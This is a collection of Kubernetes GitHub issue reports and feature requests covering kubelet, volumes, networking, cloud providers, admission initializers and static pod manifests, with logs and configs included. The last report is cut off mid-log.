is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r   what happened  :\r kubelet gets registered as schedulable even though  --register-schedulable=false  is set\r \r   what you expected to happen  :\r node to show up as unschedulable in \ kubectl get nodes\ \r \r   how to reproduce it  as minimally and precisely as possible   :\r set up kubernetes 1.7.2, start kubelet with  --register-schedulable=false  as a param\r \r see the deprecation warning:\r \r  jul 26 11:25:39 agi-cph-kubemaster03 kubelet-wrapper 4549 : flag --register-schedulable has been deprecated, will be removed in a future version \r \r note the node gets registered as schedulable in the cluster.\r \r   anything else we need to know?  :\r i know this is scheduled for deprecation. but what have you planned to replace it with? the references to the function is gone from documentation but is still present in code.\r \r taints might work but the visual \ schedulingdisabled\  on the node statuses is something i wish to preserve\r \r is the idea to use taints on nodes now and how do i get the node to show up as \ unschedulable\ \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :  on-prem, bare metall \r - os  e.g. from /etc/os-release :  coreos 1409.7 \r - kernel  e.g.  uname -a  :  4.11.11-coreos \r - install tools:  bare-metall deploy \r - others:\r

is this a bug report or feature request?  : feature request\r  \r   what happened  : currently if we create cinder volumes dynamically, the zone label is added automatically to pv https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/cinder/cinder_util.go l214-l216 . after the zone label is added to volume, it means that pod cannot be started in any other zone than what label says. volume zone label is kind of nodeselector to pod.\r \r   what you expected to happen  : i except that we could override this setting. we have use-case where we have compute zone names: zone-1, zone-2 and zone-3, but then cinder volume zone name is nova. it means that dynamic provision does not work if we do not manually always remove pv label after creation. i except that we could have possibility to not add this volume label to cinder. after that pod can be provisioned in any zone because it does not have label.\r \r so i suggest that we add flag  ignore-volume-label  to openstack cloudprovider.conf which will override this label thing.\r  \r   how to reproduce it  as minimally and precisely as possible   : create cinder volume dynamically, and check labels.\r \r

offline chat with @mbohlool: crd validation schema doesn't currently support  references  https://github.com/oai/openapi-specification/blob/master/versions/3.0.0.md reference-object . you can get around this by specifying all of the types inline, but it's extraordinarily verbose  and prone to typos .

there are some concerns related to browser based attacks that operators might want to avoid altogether by turning this feature off. users should instead use portforward.\r \r   \r @kubernetes/sig-api-machinery-feature-requests

what happened  :\r volumes test doesn't check fstype, as a result, e2e test which requires particular fstype could pass even when driver doesn't provide the right fstype \r \r   what you expected to happen  :\r volumes test should fail if driver doesn't provide the right fstype properly, and should pass it provides proper fstype.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run     testpattern: dynamic pv  ext4   volumes should be mountable    tests with broken driver.\r \r   anything else we need to know?  :\r  \r current    gcepdcsidriver.getdynamicprovisionstorageclass    in e2e test code is broken, so this also needs to be fixed.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r \r <!-- do not edit below this line -->\r 

what happened  :\r kubernetes v1.11.x v1.12.x do not used ipvs mode on linux 4.19\r   what you expected to happen  :\r kubernetes v1.11.x v1.12.x used ipvs mode on linux 4.19\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r https://github.com/kubernetes/kubernetes/issues/70304\r i know,ipvs mode on linux 4.19 fixed in kubernetes 1.13.0,but v1.11 and v1.12 donot  fixed.\r v1.11 and v1.12 ,i want to know when to fixed it. thanks\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.x and v1.12.x\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :centos 7.5 x 64\r - kernel  e.g.  uname -a  :  4.19.6-1.el7.elrepo.x86_64\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

1. determine a good default location for the pause image on windows\r should we host in in gcr as the default location for users?\r \r 2. image contents\r - we most likely need to make it schema2 with support for all os versions that we want to target.\r - ideally needs to be as small as possible.\r   - if users will target nanoserver on worker nodes the image should be nanoserver based too.\r   - if the users are already using a full windows server image we might want to have a separate image for that.\r   - this possibly means different images.\r \r with regards to deployer tools like kubeadm in the future, we might have to think about how to approach \r the problem tag wise. e.g. separate repos for nanoserver or full windows server based images.\r \r xref https://github.com/kubernetes/kubernetes/issues/74134\r \r   /assign @bclau @neolit123 \r cc @michmike \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r running the vsphere cloud provider on a windows node throws the following error:\r    \r e0228 18:07:38.491060    4324 datacenter.go:78  unable to find vm by uuid. vm uuid: a7ff1742-06d1-549d-712b-193a270b7917\r e0228 18:07:38.491060    4324 vsphere.go:1467  cannot find vm runtime host. get zone for node ul-win-node-5k error\r e0228 18:07:38.491060    4324 kubelet_node_status.go:68  unable to construct v1.node object for kubelet: failed to get zone from cloud provider: no vm found\r    \r \r this is because the vm identifier is retrieved with the command  wmic csproduct get uuid  - https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/vsphere/vsphere_util_windows.go l28, which assumes that the uuid and serial are the same.  on some vmware vm versions, the uuid and serial are not the same.  vmware 450  comment , vmware 450  comment \r \r \r   what you expected to happen  :\r kubelet is able to find vm in vcenter from the identifier looked up on the node.\r \r  wmic bios get serialnumber  or  wmic csproduct get identifyingnumber  should be used instead to find the vm identifier. \r \r   how to reproduce it  as minimally and precisely as possible   :\r issue only occurs on some vm versions, such as 13.  https://github.com/vmware/kubernetes/issues/450 issuecomment-362476499\r \r   anything else we need to know?  :\r on the linux side, this issue was resolved by switching from looking up the id from  /sys/class/dmi/id/product_uuid  to  /sys/class/dmi/id/product_serial . \r  see https://github.com/kubernetes/kubernetes/pull/59519\r \r some discussion about this issue here - https://github.com/kubernetes/kubernetes/pull/71147\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.14.0-beta.1\r - cloud provider or hardware configuration:\r vsphere\r - os  e.g:  cat /etc/os-release  :\r windows 2019\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

it will be good to create subgroups in docs/api-reference/operations.html, where each subgroup lists all possible operations for a given kind. then we can link to, for ex, the subgroup for all possible operations for pods from pods.md  cc @caesarxuchao @bgrant0607

forked from  22965. pkg/storage should emit errors defined in pkg/storage/errors.go rather than the ones defined in pkg/api/errors. we should add a .import-restrictions to enforce the rule.  cc @lavalamp

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-multizone/304/  failed:  k8s.io  kubectl client  k8s.io  simple pod should support exec through an http proxy {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:358 sep 28 03:55:51.985: unexpected kubectl exec output. wanted \ running in container\ \ , got  \ \  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:347      previous issues for this test:  27156  28979  30489

per  36858:\r \r k8s.io/kubernetes/pkg/cloudprovider/providers/aws/aws.go:1923:3: the surrounding loop is unconditionally terminated  sa4004 \r \r it does look very suspicious.

docs/user-guide has been moved to kubernetes.github.io and should be deleted\r \r i believe there are some tests that need to be updated according to @bgrant0607

what happened  :\r \r when https is enable on the cluster and http disable loadbalancer for api-server can't access /healthz whitout passing basic-auth or certificate. loadbalancer can't pass auth or certificate.\r \r   my proposal  :\r \r juste expose  page /healthz without authentification in http for healthcheck without exposins all apis in http.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r   \r >  \r \r   what happened  :\r \r 1  enable  initializers  admission plugin.\r \r    \r root@k8s001:~  ps -ef  | grep apiserver\r root      1346     1  3 11:05 ?        00:02:06 /opt/bin/kube-apiserver --logtostderr=false --log-dir=/var/log/kubernetes --v=4 --etcd-servers=http://192.168.56.11:2379 --insecure-bind-address=0.0.0.0 --port=8080 --kubelet-port=10250 --allow-privileged=true --service-cluster-ip-range=10.254.0.0/16 --admission-control=namespacelifecycle,namespaceexists,limitranger,serviceaccount,initializers,resourcequota --apiserver-count=1 --client-ca-file=/srv/kubernetes/ca.crt --tls-cert-file=/srv/kubernetes/server.cert --tls-private-key-file=/srv/kubernetes/server.key --runtime-config=batch/v2alpha1,admissionregistration.k8s.io/v1alpha1 --authorization-mode=rbac --feature-gates=advancedauditing=true,persistentlocalvolumes=true,localstoragecapacityisolation=true --allow-privileged --audit-policy-file=/etc/kubernetes/audit-policy.yaml --audit-log-path=/tmp/kubernetes.audit.log\r    \r \r you can see i was enabling both  initializers  for  --admission-control  and  admissionregistration.k8s.io/v1alpha1  for  --runtime-config \r \r 2  create an initializerconfiguration\r    \r root@k8s001:~/cases/init  cat initconfig.yaml\r apiversion: admissionregistration.k8s.io/v1alpha1\r kind: initializerconfiguration\r metadata:\r   name: sidecar\r initializers:\r - name: sidecar.initializer.kubernetes.io\r   rules:\r   - apigroups:\r     - \  \ \r     apiversions:\r     - \  \ \r     resources:\r     - deployments\r    \r \r    \r root@k8s001:~/cases/init  kubectl apply -f ./initconfig.yaml\r initializerconfiguration \ sidecar\  created\r root@k8s001:~/cases/init  kubectl get initializerconfiguration\r name      age\r sidecar   7s\r    \r \r 3  create an deployment\r    \r root@k8s001:~/cases  cat nginx2.yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   labels:\r     run: my-nginx\r   name: my-deploy\r spec:\r   replicas: 2\r   selector:\r     matchlabels:\r       run: my-nginx\r   template:\r     metadata:\r       labels:\r         run: my-nginx\r     spec:\r       containers:\r       - image: nginx:1.8.1\r         imagepullpolicy: ifnotpresent\r         name: my-nginx\r         ports:\r         - containerport: 80\r           protocol: tcp\r    \r \r    \r root@k8s001:~/cases  kubectl apply -f ./nginx2.yaml\r error from server  timeout : error when creating \ ./nginx2.yaml\ : timeout: request did not complete within allowed duration\r    \r \r creation failed.\r \r 4  create again, report failed due to deployment already exist.\r    \r root@k8s001:~/cases  kubectl create -f ./nginx2.yaml\r error from server  alreadyexists : error when creating \ ./nginx2.yaml\ : deployments.extensions \ my-deploy\  already exists\r root@k8s001:~/cases \r    \r \r 5   kubectl get deploy  does not report the nginx exist.\r    \r root@k8s001:~/cases  kubectl get deploy\r name         desired   current   up-to-date   available   age\r helm-repo1   1         1         1            1           15h\r    \r \r 6   kubectl get deploy my-nginx  report the deploy exist\r    \r root@k8s001:~/cases  kubectl get deploy my-nginx\r name       desired   current   up-to-date   available   age\r my-nginx   2         0         0            0           15h\r    \r \r 7  get detail of the deploy\r    \r root@k8s001:~/cases  kubectl get deploy my-nginx -oyaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   creationtimestamp: 2017-09-03t12:07:37z\r   generation: 1\r   initializers:\r     pending:\r     - name: sidecar.initializer.kubernetes.io\r   labels:\r     run: my-nginx\r   name: my-nginx\r   namespace: default\r   resourceversion: \ 1499279\ \r   selflink: /apis/extensions/v1beta1/namespaces/default/deployments/my-nginx\r   uid: 79e0fe59-90a0-11e7-9ac2-08002759511a\r spec:\r   replicas: 2\r   selector:\r     matchlabels:\r       run: my-nginx\r   strategy:\r     rollingupdate:\r       maxsurge: 1\r       maxunavailable: 1\r     type: rollingupdate\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         run: my-nginx\r     spec:\r       containers:\r       - image: nginx:1.8.1\r         imagepullpolicy: ifnotpresent\r         name: my-nginx\r         ports:\r         - containerport: 80\r           protocol: tcp\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r status: {}\r    \r \r the  pending  initializers caused the application cannot deployed, but there is no log which can help me troubleshooting such kind of issues.\r \r   what you expected to happen  :\r i hope that i can get some log in apiserver telling me that the deployment is going to add soe initializers in pending list.\r \r /cc @caesarxuchao \r \r /cc @kubernetes/sig-api-machinery-bugs \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

/ / \r   because i'm taking a guess at who owns this job,  it doesn't have an owner right now  https://github.com/kubernetes/test-infra/blob/master/jobs/config.json l8915 \r \r this job is on the release-master-blocking dashboard, and prevents us from cutting 1.9.0-alpha.2  kubernetes/sig-release 22 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking verify\r \r last good: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-verify-master/15486\r first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-verify-master/15487\r suspect commit range: https://github.com/kubernetes/kubernetes/compare/7914aed80...aabfc5555\r \r    \r i1027 01:25:33.138  godeps verify failed.\r i1027 01:25:33.138  if you're seeing this locally, run the below command to fix your directories:\r i1027 01:25:33.138  patch -p0 < vendordiff.patch\r i1027 01:25:33.139   the above output can be saved as godepdiff.patch if you're not running this locally \r i1027 01:25:33.139   the patch file should also be exported as a build artifact if run through ci \r i1027 01:25:33.139  copying patch to artifacts..\r i1027 01:25:33.139  leaving /tmp/gopath.zr6t52 for you to examine or copy. please delete it manually when finished.  rm -rf /tmp/gopath.zr6t52 \r i1027 01:25:33.139  failed   hack/make-rules/../../hack/verify-godeps.sh\t677s\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r openstack provider does not implement pvlabeler.getlabelsforvolume interface.\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/cloud.go l213\r \r   what you expected to happen  :\r \r since    persistentvolumelabelcontroller    will invoke    getlabelsforvolume    interface\r in cloud-controller-manager, openstack provider should support it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use kubectl version : head\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g. uname -a :\r - install tools:\r - others:\r go version go1.9.2 linux/amd64

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r host networking is enabled for the nvidia-gpu daemonset. trying to understand the purpose.\r https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/device-plugins/nvidia-gpu/daemonset.yaml l30\r   what you expected to happen  :\r disabling hostnetworking seemed to work and gpu workloads are able to be scheduled to the cluster. \r   how to reproduce it  as minimally and precisely as possible   :\r remove this line and apply the daemonset to a gpu enabled cluster. \r https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/device-plugins/nvidia-gpu/daemonset.yaml l30\r \r   anything else we need to know?  :\r i would like to understand the purpose for using hostnetworking for the nvidia-gpu daemonset. it appears nvidia implementation does not use it either: https://github.com/nvidia/k8s-device-plugin/blob/v1.10/nvidia-device-plugin.yml

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i successfully create   persistentvolume   and   persistentvolumeclaim   on   aws  , but the pod is not able to mount to those volumes. the error message thrown by the   k8s   is \r > warning  failedmount            58s  x19 over 41m   kubelet, ip-xxx-xxx-xxx-xxx  unable to mount volumes for pod \ master-deployment-5979f94fc6-sf9br_default 28fddeda-797a-11e8-907e-0e594759e784 \ : timeout expired waiting for volumes to attach or mount for pod \ default\ /\ master-deployment-5979f94fc6-sf9br\ . list of unmounted volumes= mysql-volume . list of unattached volumes= mysql-volume elasticsearch-volume default-token-2tfjn \r \r this is my config file.\r    \r kind: persistentvolume\r apiversion: v1\r metadata:\r   name: master-volume\r spec:\r   storageclassname: local-storage\r   capacity:\r     storage: 64gi\r   accessmodes:\r     - readwriteonce\r   hostpath:\r     path: \ /k8s-volume\ \r ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: master-volume\r spec:\r   accessmodes:\r     - readwriteonce\r   volumemode: filesystem\r   resources:\r     requests:\r       storage: 64gi\r   storageclassname:\r     local-storage\r ---\r kind: deployment\r ...\r       volumes:\r       - name: mysql-volume\r         persistentvolumeclaim:\r           claimname: master-volume\r       - name: elasticsearch-volume\r         persistentvolumeclaim:\r           claimname: master-volume\r ...\r    \r \r   what you expected to happen  :\r all pods and the deployment start successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r not sure how to reproduce. the images i use are private. i share part of my config file which could be related to the persistent volume issue.\r \r   anything else we need to know?  :\r - use   kubeadm   to create a cluster on multiple instances, and trying to create a deployment with   persistent volume   and   persistent volume claim  . \r - i am using   m4.xlarge   aws instance, which should have correct support for  kubernetes .\r \r   environment  :\r -   kubernetes version  use  kubectl version    :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r -   cloud provider or hardware configuration  :\r    \r aws\r    \r -   os  e.g. from /etc/os-release   :\r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r -   kernel  e.g.  uname -a    :\r    \r linux k8s 4.4.0-1060-aws  69-ubuntu smp sun may 20 13:42:07 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r

add test for \ on pvc add\ , see https://github.com/kubernetes/kubernetes/pull/65616/files diff-c0800dd83834b3847acb7efd347d6d34r307.\r \r test for \ on pvc update\  is not needed, because it has already been tested in all volume scheduling tests.

i was encouraged to file an issue here based on a slack exchange with @mikedanese.  i have a pod with, say, two containers.  the first pod is my \ app\ .  the second container exists to support the first.  when the first pod exits normally or not normally, i would like the remaining support containers to be terminated, which leaves the pod ready for gc.  as it stands, i'll have to monitor the pod for signs my app has exited, and kill the pod via the api.  it would be nice to have a supported pod spec parameter whereby when one 'sentinel' container exits, the other containers are taken down with no further cleanup from the user required.  thoughts?  thanks.

assuming https://github.com/docker/docker/pull/8211 goes in, we should decide whether we want containers within a pod to share ipc namespaces by default  which fits the \ logical host\  model for pods and keeps the api simple at the cost of slightly reduced isolation , or provide an option  in which case we could wait until users ask for it .  /cc @thockin

looking at the code, it looks like  doservercheck    in  pkg/apiserver/validator.go  creates a new transport with a default tls config if  enablehttps  is true; which is not helpful if using custom certs to connect to etcd. in addition the way  getserverstovalidate    in  pkg/master/master.go  is currently written it will never instantiate  apiserver.server{}  with  enablehttps  enabled.  there are several todo's in  doservercheck    which appear to indicate a larger issue with this code as written. i'm creating this issue in the hope that when  doservercheck    is rewritten it will respect --etcd-config settings.  i may attempt a patch for this after the new years if no one picks it up.

please use different name attributes and port numbers  host,container  in examples.  when all the names in a json file are the same and ports are the same  host,container  it makes it hard to see which is which and understand references in text to names and ports.  for example, use id of redis-master-service and selector name redis-master-pod  or should that be redid-master-label? .  just a suggestion to make text and examples easier to follow.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r  node label reboot -author:k8s-merge-robot  \r  node label lost -author:k8s-merge-robot  \r  node label disappear -author:k8s-merge-robot  \r similar issues, but they concern cluster upgrade: https://github.com/kubernetes/kubernetes/issues/18307 , https://github.com/kubernetes/kubernetes/issues/29218\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-beta.3\ , gitcommit:\ 35fd1363821b8432ccde55632cf9ead4c79eddbb\ , gittreestate:\ clean\ , builddate:\ 2016-12-08t21:58:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-beta.3\ , gitcommit:\ 35fd1363821b8432ccde55632cf9ead4c79eddbb\ , gittreestate:\ clean\ , builddate:\ 2016-12-08t21:54:19z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : ubuntu 16.04\r -   kernel    e.g.  uname -a  :  linux cluster1-k8s-master-1 4.4.0-45-generic  66-ubuntu smp wed oct 19 14:12:37 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  : https://github.com/kubernetes/kubernetes/tree/master/cluster/saltbase but customized\r -   others  :\r \r \r   what happened  :\r custom label, applied on node, got lost after the vm  virtual machine  was shut off for ~2minutes and then started.\r \r   what you expected to happen  :\r i expected custom labels applied on any kubernetes node to preserve vm reboots and longer shut off states.\r \r   how to reproduce it    as minimally and precisely as possible :\r i have a kubernetes cluster of 1 master vm and 1 node  worker  vm. i labeled them with  is_master=true  and  is_worker=true  so that:\r    \r ubuntu@cluster1-k8s-master-1:~/depl$ kubectl get nodes --show-labels\r name                    status    age       labels\r cluster1-k8s-master-1   ready     2d        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,failure-domain.beta.kubernetes.io/region=regionone,failure-domain.beta.kubernetes.io/zone=nova,is_master=true,kubernetes.io/hostname=cluster1-k8s-master-1\r cluster1-k8s-node-1     ready     1h        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,failure-domain.beta.kubernetes.io/region=regionone,failure-domain.beta.kubernetes.io/zone=nova,is_worker=true,kubernetes.io/hostname=cluster1-k8s-node-1\r    \r then, i shut off the node vm. i waited until  kubectl get nodes  stopped listing that node. then, i started the node vm. in result: the label  is_worker=true  disappeared:\r    \r ubuntu@cluster1-k8s-master-1:~/depl$ kubectl get nodes --show-labels\r name                    status    age       labels\r cluster1-k8s-master-1   ready     2d        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,failure-domain.beta.kubernetes.io/region=regionone,failure-domain.beta.kubernetes.io/zone=nova,is_master=true,kubernetes.io/hostname=cluster1-k8s-master-1\r cluster1-k8s-node-1     ready     9s        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,failure-domain.beta.kubernetes.io/region=regionone,failure-domain.beta.kubernetes.io/zone=nova,kubernetes.io/hostname=cluster1-k8s-node-1\r    \r \r   anything else do we need to know  :\r this happens each time in the circumstances explained above.\r this does not happen when the node vm is rebooted, when  kubectl get nodes  still lists all the nodes.\r

kubernetes  1.5.2 .  kubelet  runs under docker with static manifests for  kube-{apiserver,controller-manager,scheduler} .\r \r i just tweaked the  --v  flag on my  controller-manager  manifest:\r \r    kubelet  killed the running instance\r    kubelet  failed to start a new instance\r \r even after  sudo systemctl restart kubelet ... i can see kubelet die, come back up in a new container... but it didn't restart  kube-controller-manager .\r \r it seems like it might be getting confused by a dotfile created by  vim ? but i don't understand why it would fail to parse the swap file as a manifest and then proceed to tear down the controller-manager container it was creating...\r \r    \r jan 23 23:26:04 k8s-master-06481525-0 docker 45689 : e0123 23:26:04.872921   45713 file_linux.go:107  can't process config file \ /etc/kubernetes/manifests/.kube-controller-manager.yaml.swp\ : /etc/kubernetes/manifests/.kube-controller-manager.yaml.swp: read 'b0vim 7.4\r jan 23 23:26:04 k8s-master-06481525-0 docker 45689 : e0123 23:26:04.872949   45713 file_linux.go:107  can't process config file \ /etc/kubernetes/manifests/.kube-controller-manager.yaml.swx\ : open /etc/kubernetes/manifests/.kube-controller-manager.yaml.swx: no such file or directory\r jan 23 23:26:04 k8s-master-06481525-0 docker 45689 : e0123 23:26:04.872994   45713 file_linux.go:107  can't process config file \ /etc/kubernetes/manifests/.kube-controller-manager.yaml.swp\ : /etc/kubernetes/manifests/.kube-controller-manager.yaml.swp: read 'b0vim 7.4\r jan 23 23:26:04 k8s-master-06481525-0 docker 45689 : e0123 23:26:04.873027   45713 file_linux.go:107  can't process config file \ /etc/kubernetes/manifests/.kube-controller-manager.yaml.swp\ : /etc/kubernetes/manifests/.kube-controller-manager.yaml.swp: read 'b0vim 7.4\r jan 23 23:26:05 k8s-master-06481525-0 docker 45689 : i0123 23:26:05.028598   45713 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r jan 23 23:26:05 k8s-master-06481525-0 docker 45689 : i0123 23:26:05.028628   45713 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r jan 23 23:26:05 k8s-master-06481525-0 docker 45689 : i0123 23:26:05.050341   45713 server.go:740  get /stats/summary/:  36.197392ms  200   go-http-client/1.1  10.244.1.2:54538 \r jan 23 23:26:07 k8s-master-06481525-0 docker 45689 : i0123 23:26:07.125959   45713 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r jan 23 23:26:07 k8s-master-06481525-0 docker 45689 : i0123 23:26:07.125979   45713 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r jan 23 23:26:08 k8s-master-06481525-0 docker 45689 : e0123 23:26:08.529693   45713 file_linux.go:107  can't process config file \ /etc/kubernetes/manifests/.kube-controller-manager.yaml.swp\ : /etc/kubernetes/manifests/.kube-controller-manager.yaml.swp: read 'b0vim 7.4\r jan 23 23:26:10 k8s-master-06481525-0 docker 45689 : e0123 23:26:10.112774   45713 file_linux.go:107  can't process config file \ /etc/kubernetes/manifests/4913\ : open /etc/kubernetes/manifests/4913: no such file or directory\r jan 23 23:26:10 k8s-master-06481525-0 docker 45689 : i0123 23:26:10.113201   45713 kubelet.go:1791  syncloop  remove, \ file\  : \ kube-controller-manager-k8s-master-06481525-0_kube-system eba7e523b11000e345f2732f3fbece65 \ \r jan 23 23:26:10 k8s-master-06481525-0 docker 45689 : i0123 23:26:10.116086   45713 kubelet.go:1781  syncloop  add, \ file\  : \ kube-controller-manager-k8s-master-06481525-0_kube-system eba7e523b11000e345f2732f3fbece65 \ \r jan 23 23:26:10 k8s-master-06481525-0 docker 45689 : i0123 23:26:10.116180   45713 kubelet_pods.go:785  killing unwanted pod \ kube-controller-manager-k8s-master-06481525-0\ \r jan 23 23:26:10 k8s-master-06481525-0 docker 45689 : i0123 23:26:10.116265   45713 docker_manager.go:1564  killing container \ d31a249743c02b04f4d75df0f5f92e2d6e6b05716fca896638d474081d0ff07b kube-controller-manager kube-system/kube-controller-manager-k8s-master-06481525-0\  with 30 second grace period\r jan 23 23:26:10 k8s-master-06481525-0 docker 45689 : i0123 23:26:10.116879   45713 kubelet.go:1788  syncloop  update, \ file\  : \ kube-controller-manager-k8s-master-06481525-0_kube-system eba7e523b11000e345f2732f3fbece65 \ \r jan 23 23:26:10 k8s-master-06481525-0 docker 45689 : e0123 23:26:10.132943   45713 file_linux.go:107  can't process config file \ /etc/kubernetes/manifests/.kube-controller-manager.yaml.swp\ : /etc/kubernetes/manifests/.kube-controller-manager.yaml.swp: read 'b0vim 7.4\r jan 23 23:26:10 k8s-master-06481525-0 docker 45689 : i0123 23:26:10.133100   45713 kubelet.go:1791  syncloop  remove, \ file\  : \ kube-controller-manager-k8s-master-06481525-0_kube-system eba7e523b11000e345f2732f3fbece65 \ \r jan 23 23:26:10 k8s-master-06481525-0 docker 45689 : i0123 23:26:10.195920   45713 docker_manager.go:1605  container \ d31a249743c02b04f4d75df0f5f92e2d6e6b05716fca896638d474081d0ff07b kube-controller-manager kube-system/kube-controller-manager-k8s-master-06481525-0\  exited after 79.625032ms\r jan 23 23:26:10 k8s-master-06481525-0 docker 45689 : i0123 23:26:10.197874   45713 docker_manager.go:1564  killing container \ 4cfb50357530c73c278b9f58b96a9947d0abf86ba97f1154bd5be175701e8008 kube-system/kube-controller-manager-k8s-master-06481525-0\  with 30 